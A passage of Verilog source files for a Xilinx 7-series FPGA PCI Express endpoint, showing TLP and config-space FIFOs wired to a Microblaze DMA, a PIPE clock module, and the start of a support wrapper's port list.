multi-cast TLP blocked 343 | assign cfg_err_poisoned = 1'b0; // Never report poisoned TLP received 344 | assign cfg_err_norecovery = 1'b0; // Never qualify cfg_err_poisoned or cfg_err_cpl_timeout 345 | assign cfg_err_acs = 1'b0; // Never report an ACS violation 346 | assign cfg_err_internal_uncor = 1'b0; // Never report internal uncorrectable error 347 | assign cfg_err_aer_headerlog = 128'h0; // Zero out the AER Header Log 348 | assign cfg_aer_interrupt_msgnum = 5'b00000; // Zero out the AER Root Error Status Register 349 | assign cfg_err_tlp_cpl_header = 48'h0; // Zero out the header information 350 | 351 | assign cfg_interrupt_stat = 1'b0; // Never set the Interrupt Status bit 352 | assign cfg_pciecap_interrupt_msgnum = 5'b00000; // Zero out Interrupt Message Number 353 | assign cfg_interrupt_assert = 1'b0; // Always drive interrupt de-assert 354 | assign cfg_interrupt = 1'b0; // Never drive interrupt by qualifying cfg_interrupt_assert 355 | assign cfg_interrupt_di = 8'b0; // Do not set interrupt fields 356 | 357 | assign pl_directed_link_change = 2'b00; // Never initiate link change 358 | assign pl_directed_link_width = 2'b00; // Zero out directed link width 359 | assign pl_directed_link_speed = 1'b0; // Zero out directed link speed 360 | assign pl_directed_link_auton = 1'b0; // Zero out link autonomous input 361 | assign pl_upstream_prefer_deemph = 1'b1; // Zero out preferred de-emphasis of upstream port 362 | 363 | assign cfg_mgmt_di = 32'h0; // Zero out CFG MGMT input data bus 364 | assign cfg_mgmt_byte_en = 4'h0; // Zero out CFG MGMT byte enables 365 | assign cfg_mgmt_wr_en = 1'b0; // Do not write CFG space 366 | assign cfg_mgmt_wr_readonly = 1'b0; // Never treat RO bit as RW 367 | 368 | // Assign the input DSN 369 | assign cfg_dsn = { `PCI_EXP_EP_DSN_2, 370 | `PCI_EXP_EP_DSN_1 }; 371 | 372 | // Tx 373 | assign s_axis_tx_tuser = 0; 374 | 375 | reg [21:0] debounce = 0; 376 | reg [1:0] user_io_0 = 0; 377 | reg [1:0] user_io_1 = 0; 378 | 379 | // 380 | // debounce push buttons 381 | // 382 | always @(posedge sys_clk) begin 383 | 384 | // decrement counter 385 | debounce <= debounce - 1; 386 | 387 | if (debounce != 0) begin 388 | 389 | user_io_0[0] <= user_io[0] ? 1 : user_io_0[0]; 390 | user_io_0[1] <= user_io[1] ? 1 : user_io_0[1]; 391 | 392 | end else begin 393 | 394 | user_io_1 <= user_io_0; 395 | user_io_0 <= 2'b00; 396 | 397 | end 398 | end 399 | 400 | wire [15:0] device_id; 401 | wire device_id_ready; 402 | 403 | // completer address 404 | assign device_id = { cfg_bus_number, cfg_device_number, cfg_function_number }; 405 | 406 | assign device_id_ready = (cfg_bus_number == 0 && 407 | cfg_device_number == 0 && 408 | cfg_function_number == 0) ? 0 : 1; 409 | 410 | // 411 | // Microblaze common I/O 412 | // 413 | wire clk_out; 414 | wire [31:0] gpio_in; 415 | wire [31:0] gpio_out; 416 | 417 | // combined reset signal 418 | assign reset_n = sys_rst_n_c & ~user_io_1[1]; 419 | 420 | // GPIO input 421 | assign gpio_in = { 15'h0, user_io_1[0], device_id }; 422 | 423 | // LEDs 424 | assign user_led = ~{ gpio_out[0], user_lnk_up, device_id_ready }; 425 | 426 | // 427 | // Quad SPI signals 428 | // 429 | wire spi_io0_i; 430 | wire spi_io0_o; 431 | wire spi_io0_t; 432 | wire spi_io1_i; 433 | wire spi_io1_o; 434 | wire spi_io1_t; 435 | wire spi_io2_i; 436 | wire spi_io2_o; 437 | wire spi_io2_t; 438 | wire spi_io3_i; 439 | wire spi_io3_o; 440 | wire spi_io3_t; 441 | wire spi_ss_i; 442 | wire spi_ss_o; 443 | wire spi_ss_t; 444 | 445 | // SPI buffers 446 | IOBUF spi_io0_iobuf(.I( spi_io0_o ), .IO( spi_io0_io ), .O( spi_io0_i ), .T( spi_io0_t )); 447 | IOBUF spi_io1_iobuf(.I( spi_io1_o ), .IO( spi_io1_io ), .O( spi_io1_i ), .T( spi_io1_t )); 448 | IOBUF spi_io2_iobuf(.I( spi_io2_o ), .IO( spi_io2_io ), .O( spi_io2_i ), .T( spi_io2_t )); 449 | IOBUF spi_io3_iobuf(.I( spi_io3_o ), .IO( spi_io3_io ), .O( spi_io3_i ), .T( spi_io3_t )); 450 | IOBUF spi_ss_iobuf(.I( spi_ss_o ), .IO( spi_ss_io ), .O( spi_ss_i ), .T( spi_ss_t )); 451 | 452 | // 453 | // AXI DMA transmit 454 | // 455 | wire [63:0] M_AXIS_MM2S_0_tdata; 456 | wire [7:0] M_AXIS_MM2S_0_tkeep; 457 | wire M_AXIS_MM2S_0_tlast; 458 | wire M_AXIS_MM2S_0_tready; 459 | wire M_AXIS_MM2S_0_tvalid; 460 | 461 | // 462 | // AXI DMA receive 463 | // 464 | wire [63:0] S_AXIS_S2MM_0_tdata; 465 | wire [7:0] S_AXIS_S2MM_0_tkeep; 466 | wire S_AXIS_S2MM_0_tlast; 467 | wire S_AXIS_S2MM_0_tready; 468 | wire S_AXIS_S2MM_0_tvalid; 469 | 470 | // 471 | // TLP receive FIFO 472 | // 473 | axis_data_fifo_0 fifo_tlp_rx_i( 474 | .s_axis_aresetn( ~user_reset ), 475 | .s_axis_aclk( user_clk ), 476 | .s_axis_tvalid( m_axis_rx_tvalid ), 477 | .s_axis_tready( m_axis_rx_tready ), 478 | .s_axis_tdata( m_axis_rx_tdata ), 479 | .s_axis_tkeep( m_axis_rx_tkeep ), 480 | .s_axis_tlast( m_axis_rx_tlast ), 481 | .m_axis_aclk( clk_out ), 482 | .m_axis_tvalid( S_AXIS_S2MM_0_tvalid ), 483 | .m_axis_tready( S_AXIS_S2MM_0_tready ), 484 | .m_axis_tdata( S_AXIS_S2MM_0_tdata ), 485 | .m_axis_tkeep( S_AXIS_S2MM_0_tkeep ), 486 | .m_axis_tlast( S_AXIS_S2MM_0_tlast ) 487 | ); 488 | 489 | // 490 | // TLP transmit FIFO 491 | // 492 | axis_data_fifo_0 fifo_tlp_tx_i( 493 | .s_axis_aresetn( ~user_reset ), 494 | .s_axis_aclk( clk_out ), 495 | .s_axis_tvalid( M_AXIS_MM2S_0_tvalid ), 496 | .s_axis_tready( M_AXIS_MM2S_0_tready ), 497 | .s_axis_tdata( M_AXIS_MM2S_0_tdata ), 498 | .s_axis_tkeep( M_AXIS_MM2S_0_tkeep ), 499 | .s_axis_tlast( M_AXIS_MM2S_0_tlast ), 500 | .m_axis_aclk( user_clk ), 501 | .m_axis_tvalid( s_axis_tx_tvalid ), 502 | .m_axis_tready( s_axis_tx_tready ), 503 | .m_axis_tdata( s_axis_tx_tdata ), 504 | .m_axis_tkeep( s_axis_tx_tkeep ), 505 | .m_axis_tlast( s_axis_tx_tlast ) 506 | ); 507 | 508 | // 509 | // Config space access data in 510 | // 511 | wire [31:0] S0_AXIS_0_tdata; 512 | wire S0_AXIS_0_tlast; 513 | wire S0_AXIS_0_tready; 514 | wire S0_AXIS_0_tvalid; 515 | 516 | reg s_axis_cfg_rx_tlast = 1'b1; 517 | 518 | // 519 | // Config space access data out 520 | // 521 | wire [31:0] M0_AXIS_0_tdata; 522 | wire M0_AXIS_0_tlast; 523 | wire M0_AXIS_0_tready; 524 | wire M0_AXIS_0_tvalid; 525 | 526 | wire [31:0] m_axis_cfg_tx_tdata; 527 | 528 | reg m_axis_cfg_tx_tready = 1'b1; 529 | 530 | assign cfg_mgmt_dwaddr = m_axis_cfg_tx_tdata[9:0]; 531 | 532 | // 533 | // Config space data in FIFO 534 | // 535 | axis_data_fifo_1 fifo_cfg_rx_i( 536 | .s_axis_aresetn( ~user_reset ), 537 | .s_axis_aclk( user_clk ), 538 | .s_axis_tvalid( cfg_mgmt_rd_wr_done ), 539 | .s_axis_tdata( cfg_mgmt_do ), 540 | .s_axis_tlast( s_axis_cfg_rx_tlast ), 541 | .m_axis_aclk( clk_out ), 542 | .m_axis_tvalid( S0_AXIS_0_tvalid ), 543 | .m_axis_tready( S0_AXIS_0_tready ), 544 | .m_axis_tdata( S0_AXIS_0_tdata ), 545 | .m_axis_tlast( S0_AXIS_0_tlast ) 546 | ); 547 | 548 | // 549 | // Config space data out FIFO 550 | // 551 | axis_data_fifo_1 fifo_cfg_tx_i( 552 | .s_axis_aresetn( ~user_reset ), 553 | .s_axis_aclk( clk_out ), 554 | .s_axis_tvalid( M0_AXIS_0_tvalid ), 555 | .s_axis_tready( M0_AXIS_0_tready ), 556 | .s_axis_tdata( M0_AXIS_0_tdata ), 557 | .s_axis_tlast( M0_AXIS_0_tlast ), 558 | .m_axis_aclk( user_clk ), 559 | .m_axis_tvalid( cfg_mgmt_rd_en ), 560 | .m_axis_tdata( m_axis_cfg_tx_tdata ), 561 | .m_axis_tready( m_axis_cfg_tx_tready ) 562 | ); 563 | 564 | // 565 | // Microblaze instance 566 | // 567 | microblaze microblaze_i( 568 | .M_AXIS_MM2S_0_tdata( M_AXIS_MM2S_0_tdata ), 569 | .M_AXIS_MM2S_0_tkeep( M_AXIS_MM2S_0_tkeep ), 570 | .M_AXIS_MM2S_0_tlast( M_AXIS_MM2S_0_tlast ), 571 | .M_AXIS_MM2S_0_tready( M_AXIS_MM2S_0_tready ), 572 | .M_AXIS_MM2S_0_tvalid( M_AXIS_MM2S_0_tvalid ), 573 | .S_AXIS_S2MM_0_tdata( S_AXIS_S2MM_0_tdata ), 574 | .S_AXIS_S2MM_0_tkeep( S_AXIS_S2MM_0_tkeep ), 575 | .S_AXIS_S2MM_0_tlast( S_AXIS_S2MM_0_tlast ), 576 | .S_AXIS_S2MM_0_tready( S_AXIS_S2MM_0_tready ), 577 | .S_AXIS_S2MM_0_tvalid( S_AXIS_S2MM_0_tvalid ), 578 | .M0_AXIS_0_tdata( M0_AXIS_0_tdata ), 579 | .M0_AXIS_0_tlast( M0_AXIS_0_tlast ), 580 | .M0_AXIS_0_tready( M0_AXIS_0_tready ), 581 | .M0_AXIS_0_tvalid( M0_AXIS_0_tvalid ), 582 | .S0_AXIS_0_tdata( S0_AXIS_0_tdata ), 583 | .S0_AXIS_0_tlast( S0_AXIS_0_tlast ), 584 | .S0_AXIS_0_tready( S0_AXIS_0_tready ), 585 | .S0_AXIS_0_tvalid( S0_AXIS_0_tvalid ), 586 | .sys_clk( sys_clk ), 587 | .sys_rst_n( reset_n ), 588 | .clk_out( clk_out ), 589 | .uart_rxd( uart_rxd ), 590 | .uart_txd( uart_txd ), 591 | .gpio_in_tri_i( gpio_in ), 592 | .gpio_out_tri_o( gpio_out ), 593 | .spi_io0_i( spi_io0_i ), 594 | .spi_io0_o( spi_io0_o ), 595 | .spi_io0_t( spi_io0_t ), 596 | .spi_io1_i( spi_io1_i ), 597 | .spi_io1_o( spi_io1_o ), 598 | .spi_io1_t( spi_io1_t ), 599 | .spi_io2_i( spi_io2_i ), 600 | .spi_io2_o( spi_io2_o ), 601 | .spi_io2_t( spi_io2_t ), 602 | .spi_io3_i( spi_io3_i ), 603 | .spi_io3_o( spi_io3_o ), 604 | .spi_io3_t( spi_io3_t ), 605 | .spi_ss_i( spi_ss_i_0 ), 606 | .spi_ss_o( spi_ss_o_0 ), 607 | .spi_ss_t( spi_ss_t ) 608 | ); 609 | 610 | endmodule 611 | -------------------------------------------------------------------------------- /hdl/pcie_7x_0_pipe_clock.v: -------------------------------------------------------------------------------- 1 | // 2 | // PIPE Clock Module for 7 Series Transceiver 3 | // 4 | 5 | `timescale 1ns / 1ps 6 | 7 | module pcie_7x_0_pipe_clock # 8 | ( 9 | parameter PCIE_ASYNC_EN = "FALSE", // PCIe async enable 10 | parameter PCIE_TXBUF_EN = "FALSE", // PCIe TX buffer enable for Gen1/Gen2 only 11 | parameter PCIE_CLK_SHARING_EN = "FALSE", // Enable Clock Sharing 12 | parameter PCIE_LANE = 1, // PCIe number of lanes 13 | parameter PCIE_LINK_SPEED = 3, // PCIe link speed 14 | parameter PCIE_REFCLK_FREQ = 0, // PCIe reference clock frequency 15 | parameter PCIE_USERCLK1_FREQ = 2, // PCIe user clock 1 frequency 16 | parameter PCIE_USERCLK2_FREQ = 2, // PCIe user clock 2 frequency 17 | parameter PCIE_OOBCLK_MODE = 1, // PCIe oob clock mode 18 | parameter PCIE_DEBUG_MODE = 0 // PCIe Debug mode 19 | )( 20 | // 21 | // Input 22 | // 23 | input CLK_CLK, 24 | input CLK_TXOUTCLK, 25 | input [PCIE_LANE - 1 : 0] CLK_RXOUTCLK_IN, 26 | input CLK_RST_N, 27 | input [PCIE_LANE - 1 : 0] CLK_PCLK_SEL, 28 | input [PCIE_LANE - 1 : 0] CLK_PCLK_SEL_SLAVE, 29 | input CLK_GEN3, 30 | 31 | // 32 | // Output 33 | // 34 | output CLK_PCLK, 35 | output CLK_PCLK_SLAVE, 36 | output CLK_RXUSRCLK, 37 | output [PCIE_LANE - 1 : 0] CLK_RXOUTCLK_OUT, 38 | output CLK_DCLK, 39 | output CLK_OOBCLK, 40 | output CLK_USERCLK1, 41 | output CLK_USERCLK2, 42 | output CLK_MMCM_LOCK 43 | ); 44 | 45 | // 46 | // Select clock divider 47 | // 48 | localparam DIVCLK_DIVIDE = (PCIE_REFCLK_FREQ == 2) ? 1 : 49 | (PCIE_REFCLK_FREQ == 1) ? 1 : 1; 50 | 51 | localparam CLKFBOUT_MULT_F = (PCIE_REFCLK_FREQ == 2) ? 4 : 52 | (PCIE_REFCLK_FREQ == 1) ? 8 : 10; 53 | 54 | localparam CLKIN1_PERIOD = (PCIE_REFCLK_FREQ == 2) ? 4 : 55 | (PCIE_REFCLK_FREQ == 1) ? 8 : 10; 56 | 57 | localparam CLKOUT0_DIVIDE_F = 8; 58 | localparam CLKOUT1_DIVIDE = 4; 59 | 60 | localparam CLKOUT2_DIVIDE = (PCIE_USERCLK1_FREQ == 5) ? 2 : 61 | (PCIE_USERCLK1_FREQ == 4) ? 4 : 62 | (PCIE_USERCLK1_FREQ == 3) ? 8 : 63 | (PCIE_USERCLK1_FREQ == 1) ? 32 : 16; 64 | 65 | localparam CLKOUT3_DIVIDE = (PCIE_USERCLK2_FREQ == 5) ? 2 : 66 | (PCIE_USERCLK2_FREQ == 4) ? 4 : 67 | (PCIE_USERCLK2_FREQ == 3) ? 8 : 68 | (PCIE_USERCLK2_FREQ == 1) ? 32 : 16; 69 | 70 | localparam CLKOUT4_DIVIDE = 20; 71 | localparam PCIE_GEN1_MODE = 1'b1; 72 | 73 | // 74 | // Input registers 75 | // 76 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg [PCIE_LANE - 1 : 0] pclk_sel_reg1 = { PCIE_LANE{1'd0} }; 77 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg [PCIE_LANE - 1 : 0] pclk_sel_reg2 = { PCIE_LANE{1'd0} }; 78 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg [PCIE_LANE - 1 : 0] pclk_sel_slave_reg1 = { PCIE_LANE{1'd0} }; 79 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg [PCIE_LANE - 1 : 0] pclk_sel_slave_reg2 = { PCIE_LANE{1'd0} }; 80 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg gen3_reg1 = 1'd0; 81 | (* ASYNC_REG = "TRUE", SHIFT_EXTRACT = "NO" *) reg gen3_reg2 = 1'd0; 82 | 83 | // 84 | // Internal signals 85 | // 86 | wire refclk; 87 | wire mmcm_fb; 88 | wire clk_125mhz; 89 | wire clk_125mhz_buf; 90 | wire clk_250mhz; 91 | wire userclk1; 92 | wire userclk2; 93 | wire oobclk; 94 | reg pclk_sel_slave = 1'd0; 95 | (* dont_touch = "true" *) reg pclk_sel = 1'd0; 96 | 97 | // 98 | // Output registers 99 | // 100 | wire pclk_1; 101 | wire pclk; 102 | wire userclk1_1; 103 | wire userclk2_1; 104 | wire mmcm_lock; 105 | 106 | // 107 | // Generate per-lane signals 108 | // 109 | genvar i; // index for per-lane signals 110 | 111 | // 112 | // Input FF 113 | // 114 | always @ (posedge pclk) begin 115 | 116 | if (!CLK_RST_N) begin 117 | 118 | // 1-st stage FF 119 | pclk_sel_reg1 <= { PCIE_LANE{1'd0} }; 120 | pclk_sel_slave_reg1 <= { PCIE_LANE{1'd0} }; 121 | gen3_reg1 <= 1'd0; 122 | 123 | // 2-nd stage FF 124 | pclk_sel_reg2 <= { PCIE_LANE{1'd0} }; 125 | pclk_sel_slave_reg2 <= { PCIE_LANE{1'd0} }; 126 | gen3_reg2 <= 1'd0; 127 | 128 | end else begin 129 | 130 | // 1-st stage FF 131 | pclk_sel_reg1 <= CLK_PCLK_SEL; 132 | pclk_sel_slave_reg1 <= CLK_PCLK_SEL_SLAVE; 133 | gen3_reg1 <= CLK_GEN3; 134 | 135 | // 2-nd stage FF 136 | pclk_sel_reg2 <= pclk_sel_reg1; 137 | pclk_sel_slave_reg2 <= pclk_sel_slave_reg1; 138 | gen3_reg2 <= gen3_reg1; 139 | 140 | end 141 | end 142 | 143 | // 144 | // Select reference clock or TXOUTCLK 145 | // 146 | generate if ((PCIE_TXBUF_EN == "TRUE") && (PCIE_LINK_SPEED != 3)) 147 | 148 | begin : refclk_i 149 | 150 | // select reference clock 151 | BUFG refclk_i(.I( CLK_CLK ), .O( refclk )); 152 | 153 | end else begin : txoutclk_i 154 | 155 | // select TXOUTCLK 156 | BUFG txoutclk_i(.I( CLK_TXOUTCLK ), .O( refclk )); 157 | 158 | end 159 | endgenerate 160 | 161 | // 162 | // MMCM 163 | // 164 | MMCME2_ADV # 165 | ( 166 | .BANDWIDTH( "OPTIMIZED" ), 167 | .CLKOUT4_CASCADE( "FALSE" ), 168 | .COMPENSATION( "ZHOLD" ), 169 | .STARTUP_WAIT( "FALSE" ), 170 | .DIVCLK_DIVIDE( DIVCLK_DIVIDE ), 171 | .CLKFBOUT_MULT_F( CLKFBOUT_MULT_F ), 172 | .CLKFBOUT_PHASE( 0.000 ), 173 | .CLKFBOUT_USE_FINE_PS( "FALSE" ), 174 | .CLKOUT0_DIVIDE_F( CLKOUT0_DIVIDE_F ), 175 | .CLKOUT0_PHASE( 0.000 ), 176 | .CLKOUT0_DUTY_CYCLE( 0.500 ), 177 | .CLKOUT0_USE_FINE_PS( "FALSE" ), 178 | .CLKOUT1_DIVIDE( CLKOUT1_DIVIDE ), 179 | .CLKOUT1_PHASE( 0.000 ), 180 | .CLKOUT1_DUTY_CYCLE( 0.500 ), 181 | .CLKOUT1_USE_FINE_PS( "FALSE" ), 182 | .CLKOUT2_DIVIDE( CLKOUT2_DIVIDE ), 183 | .CLKOUT2_PHASE( 0.000 ), 184 | .CLKOUT2_DUTY_CYCLE( 0.500 ), 185 | .CLKOUT2_USE_FINE_PS( "FALSE" ), 186 | .CLKOUT3_DIVIDE( CLKOUT3_DIVIDE ), 187 | .CLKOUT3_PHASE( 0.000 ), 188 | .CLKOUT3_DUTY_CYCLE( 0.500 ), 189 | .CLKOUT3_USE_FINE_PS( "FALSE" ), 190 | .CLKOUT4_DIVIDE( CLKOUT4_DIVIDE ), 191 | .CLKOUT4_PHASE( 0.000 ), 192 | .CLKOUT4_DUTY_CYCLE( 0.500 ), 193 | .CLKOUT4_USE_FINE_PS( "FALSE" ), 194 | .CLKIN1_PERIOD( CLKIN1_PERIOD ), 195 | .REF_JITTER1( 0.010 ) 196 | ) 197 | mmcm_i 198 | ( 199 | // Input 200 | .CLKIN1( refclk ), 201 | .CLKIN2( 1'd0 ), 202 | .CLKINSEL( 1'd1 ), 203 | .CLKFBIN( mmcm_fb ), 204 | .RST( !CLK_RST_N ), 205 | .PWRDWN( 1'd0 ), 206 | 207 | // Output 208 | .CLKFBOUT( mmcm_fb ), 209 | .CLKOUT0( clk_125mhz ), 210 | .CLKOUT1( clk_250mhz ), 211 | .CLKOUT2( userclk1 ), 212 | .CLKOUT3( userclk2 ), 213 | .CLKOUT4( oobclk ), 214 | .LOCKED( mmcm_lock ), 215 | 216 | // Dynamic reconfiguration 217 | .DCLK( 1'd0 ), 218 | .DADDR( 7'd0 ), 219 | .DEN( 1'd0 ), 220 | .DWE( 1'd0 ), 221 | .DI( 16'd0 ), 222 | 223 | // Dynamic phase shift 224 | .PSCLK( 1'd0 ), 225 | .PSEN( 1'd0 ), 226 | .PSINCDEC( 1'd0 ) 227 | ); 228 | 229 | // 230 | // Select PCLK mux or PCLK buffer 231 | // 232 | generate if (PCIE_LINK_SPEED != 1) 233 | 234 | begin : pclk_i1_bufgctrl 235 | 236 | // PCLK mux 237 | BUFGCTRL pclk_i1 238 | ( 239 | .CE0( 1'd1 ), 240 | .CE1( 1'd1 ), 241 | .I0( clk_125mhz ), 242 | .I1( clk_250mhz ), 243 | .IGNORE0( 1'd0 ), 244 | .IGNORE1( 1'd0 ), 245 | .S0( ~pclk_sel ), 246 | .S1( pclk_sel ), 247 | .O( pclk_1 ) 248 | ); 249 | 250 | end else begin : pclk_i1_bufg 251 | 252 | // PCLK buffer 253 | BUFG pclk_i1(.I( clk_125mhz ), .O( clk_125mhz_buf )); 254 | 255 | assign pclk_1 = clk_125mhz_buf; 256 | 257 | end 258 | endgenerate 259 | 260 | // 261 | // Select PCLK mux for slave or PCLK buffer 262 | // 263 | generate if (PCIE_CLK_SHARING_EN == "FALSE") 264 | 265 | begin : pclk_slave_disable 266 | 267 | // PCLK mux 268 | assign CLK_PCLK_SLAVE = 1'b0; 269 | 270 | end else if (PCIE_LINK_SPEED != 1) begin : pclk_slave_bufgctrl 271 | 272 | // PCLK mux 273 | BUFGCTRL pclk_slave 274 | ( 275 | .CE0( 1'd1 ), 276 | .CE1( 1'd1 ), 277 | .I0( clk_125mhz ), 278 | .I1( clk_250mhz ), 279 | .IGNORE0( 1'd0 ), 280 | .IGNORE1( 1'd0 ), 281 | .S0( ~pclk_sel_slave ), 282 | .S1( pclk_sel_slave ), 283 | .O( CLK_PCLK_SLAVE ) 284 | ); 285 | 286 | end else begin : pclk_slave_bufg 287 | 288 | // PCLK buffer 289 | BUFG pclk_slave(.I( clk_125mhz ), .O( CLK_PCLK_SLAVE )); 290 | 291 | end 292 | endgenerate 293 | 294 | // 295 | // Generate RXOUTCLK buffer for debug 296 | // 297 | generate if ((PCIE_DEBUG_MODE == 1) || (PCIE_ASYNC_EN == "TRUE")) 298 | 299 | begin : rxoutclk_per_lane 300 | 301 | // generate per Lane 302 | for ( i = 0; i < PCIE_LANE; i = i + 1) 303 | 304 | begin : rxoutclk_i 305 | 306 | // RXOUTCLK buffer 307 | BUFG rxoutclk_i(.I( CLK_RXOUTCLK_IN[i] ), .O( CLK_RXOUTCLK_OUT[i] )); 308 | 309 | end 310 | end 311 | else 312 | 313 | begin : rxoutclk_i_disable 314 | 315 | // disable RXOUTCLK buffer for normal operation 316 | assign CLK_RXOUTCLK_OUT = { PCIE_LANE{1'd0} }; 317 | 318 | end 319 | endgenerate 320 | 321 | // 322 | // Generate DCLK buffer 323 | // 324 | generate if (PCIE_LINK_SPEED != 1) 325 | 326 | begin : dclk_i_bufg 327 | 328 | // DCLK buffer 329 | BUFG dclk_i(.I( clk_125mhz ), .O( CLK_DCLK )); 330 | 331 | end else begin : dclk_i 332 | 333 | // always 125 MHz in Gen1 334 | assign CLK_DCLK = clk_125mhz_buf; 335 | 336 | end 337 | endgenerate 338 | 339 | // 340 | // Generate USERCLK1 buffer 341 | // 342 | generate if (PCIE_GEN1_MODE == 1'b1 && PCIE_USERCLK1_FREQ == 3) 343 | 344 | begin : userclk1_i1_no_bufg 345 | 346 | // USERCLK1 same as PCLK 347 | assign userclk1_1 = pclk_1; 348 | 349 | end else begin : userclk1_i1 350 | 351 | // USERCLK1 buffer 352 | BUFG usrclk1_i1(.I( userclk1 ), .O( userclk1_1 )); 353 | 354 | end 355 | endgenerate 356 | 357 | // 358 | // Generate USERCLK2 buffer 359 | // 360 | generate if (PCIE_GEN1_MODE == 1'b1 && PCIE_USERCLK2_FREQ == 3 ) 361 | 362 | begin : userclk2_i1_no_bufg0 363 | 364 | // USERCLK2 same as PCLK 365 | assign userclk2_1 = pclk_1; 366 | 367 | end else if (PCIE_USERCLK2_FREQ == PCIE_USERCLK1_FREQ ) begin : userclk2_i1_no_bufg1 368 | 369 | // USERCLK2 same as USERCLK1 370 | assign userclk2_1 = userclk1_1; 371 | 372 | end else begin : userclk2_i1 373 | 374 | // USERCLK2 buffer 375 | BUFG usrclk2_i1(.I( userclk2 ), .O( userclk2_1 )); 376 | 377 | end 378 | endgenerate 379 | 380 | // 381 | // Generate OOBCLK buffer 382 | // 383 | generate if (PCIE_OOBCLK_MODE == 2) 384 | 385 | begin : oobclk_i1 386 | 387 | // OOBCLK buffer 388 | BUFG oobclk_i1(.I( oobclk ), .O( CLK_OOBCLK )); 389 | 390 | end else begin : oobclk_i1_disable 391 | 392 | // disable OOBCLK buffer 393 | assign CLK_OOBCLK = pclk; 394 | 395 | end 396 | endgenerate 397 | 398 | // 399 | // Disabled second stage buffers 400 | // 401 | assign pclk = pclk_1; 402 | assign CLK_RXUSRCLK = pclk_1; 403 | assign CLK_USERCLK1 = userclk1_1; 404 | assign CLK_USERCLK2 = userclk2_1; 405 | 406 | // 407 | // Select PCLK 408 | // 409 | always @ (posedge pclk) begin 410 | 411 | if (!CLK_RST_N) 412 | 413 | pclk_sel <= 1'd0; 414 | 415 | else begin 416 | 417 | if (&pclk_sel_reg2) 418 | 419 | // select 250 MHz 420 | pclk_sel <= 1'd1; 421 | 422 | else if (&(~pclk_sel_reg2)) 423 | 424 | // select 125 MHz 425 | pclk_sel <= 1'd0; 426 | 427 | else 428 | 429 | // hold PCLK 430 | pclk_sel <= pclk_sel; 431 | 432 | end 433 | end 434 | 435 | always @ (posedge pclk) begin 436 | 437 | if (!CLK_RST_N) 438 | 439 | pclk_sel_slave <= 1'd0; 440 | 441 | else begin 442 | 443 | if (&pclk_sel_slave_reg2) 444 | 445 | // select 250 MHz 446 | pclk_sel_slave <= 1'd1; 447 | 448 | else if (&(~pclk_sel_slave_reg2)) 449 | 450 | // select 125 MHz 451 | pclk_sel_slave <= 1'd0; 452 | 453 | else 454 | 455 | // hold PCLK 456 | pclk_sel_slave <= pclk_sel_slave; 457 | 458 | end 459 | end 460 | 461 | // 462 | // PIPE clock output 463 | // 464 | assign CLK_PCLK = pclk; 465 | assign CLK_MMCM_LOCK = mmcm_lock; 466 | 467 | endmodule 468 | -------------------------------------------------------------------------------- /hdl/pcie_7x_0_support.v: -------------------------------------------------------------------------------- 1 | // 2 | // PCI Express endpoint shared logic wrapper 3 | // 4 | 5 | `timescale 1ns / 1ps 6 | 7 | module pcie_7x_0_support # 8 | ( 9 | parameter LINK_CAP_MAX_LINK_WIDTH = 8, // PCIe Lane Width 10 | parameter CLK_SHARING_EN = "FALSE", // Enable Clock Sharing 11 | parameter C_DATA_WIDTH = 256, // AXI interface data width 12 | parameter KEEP_WIDTH = C_DATA_WIDTH / 8, // TSTRB width 13 | parameter PCIE_REFCLK_FREQ = 0, // PCIe reference clock frequency 14 | parameter PCIE_USERCLK1_FREQ = 2, // PCIe user clock 1 frequency 15 | parameter PCIE_USERCLK2_FREQ = 2, // PCIe user clock 2 frequency 16 | parameter PCIE_GT_DEVICE = "GTX", // PCIe GT device 17 | parameter PCIE_USE_MODE = "2.1" // PCIe use mode 18 | )( 19 | // 20 | // PCI Express interface 21 | // 22 | output [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pci_exp_txn, 23 | output [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pci_exp_txp, 24 | input [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pci_exp_rxn, 25 | input [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pci_exp_rxp, 26 | 27 | // 28 | // Clocking sharing interface 29 | // 30 | output pipe_pclk_out_slave, 31 | output pipe_rxusrclk_out, 32 | output [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pipe_rxoutclk_out, 33 | output pipe_dclk_out, 34 | output pipe_userclk1_out, 35 | output pipe_userclk2_out, 36 | output pipe_oobclk_out, 37 | output pipe_mmcm_lock_out, 38 | input [(LINK_CAP_MAX_LINK_WIDTH - 1) : 0] pipe_pclk_sel_slave, 39 | input pipe_mmcm_rst_n, 40 | 41 | // 42 | // AXI common 43 | // 44 | output user_clk_out, 45 | output user_reset_out, 46 | output user_lnk_up, 47 | output user_app_rdy, 48 | input tx_cfg_gnt, 49 | input rx_np_ok, 50 | input rx_np_req, 51 | input cfg_turnoff_ok, 52 | input cfg_trn_pending, 53 | input cfg_pm_halt_aspm_l0s, 54 | input cfg_pm_halt_aspm_l1, 55 | input cfg_pm_force_state_en, 56 | input [1:0] cfg_pm_force_state, 57 | input [63:0] cfg_dsn, 58 | input cfg_pm_send_pme_to, 59 | input [7:0] cfg_ds_bus_number, 60 | input [4:0] cfg_ds_device_number, 61 | input [2:0] cfg_ds_function_number, 62 | input cfg_pm_wake, 63 | 64 | // 65 | // AXI tx 66 | // 67 | input [C_DATA_WIDTH - 1 : 0] s_axis_tx_tdata, 68 | input s_axis_tx_tvalid, 69 | output s_axis_tx_tready, 70 | input [KEEP_WIDTH - 1 : 0] s_axis_tx_tkeep, 71 | input s_axis_tx_tlast, 72 | input [3:0] s_axis_tx_tuser, 73 | 74 | // 75 | // AXI RX 76 | // 77 | output [C_DATA_WIDTH - 1 : 0] m_axis_rx_tdata, 78 | output m_axis_rx_tvalid, 79 | input m_axis_rx_tready, 80 | output [KEEP_WIDTH - 1 : 0] m_axis_rx_tkeep, 81 | output m_axis_rx_tlast, 82 | output [21:0] m_axis_rx_tuser, 83 | 84 | // 85 | // Flow control 86 | // 87 | output [11:0] fc_cpld, 88 | output [7:0] fc_cplh, 89 | output [11:0] fc_npd, 90 | output [7:0] 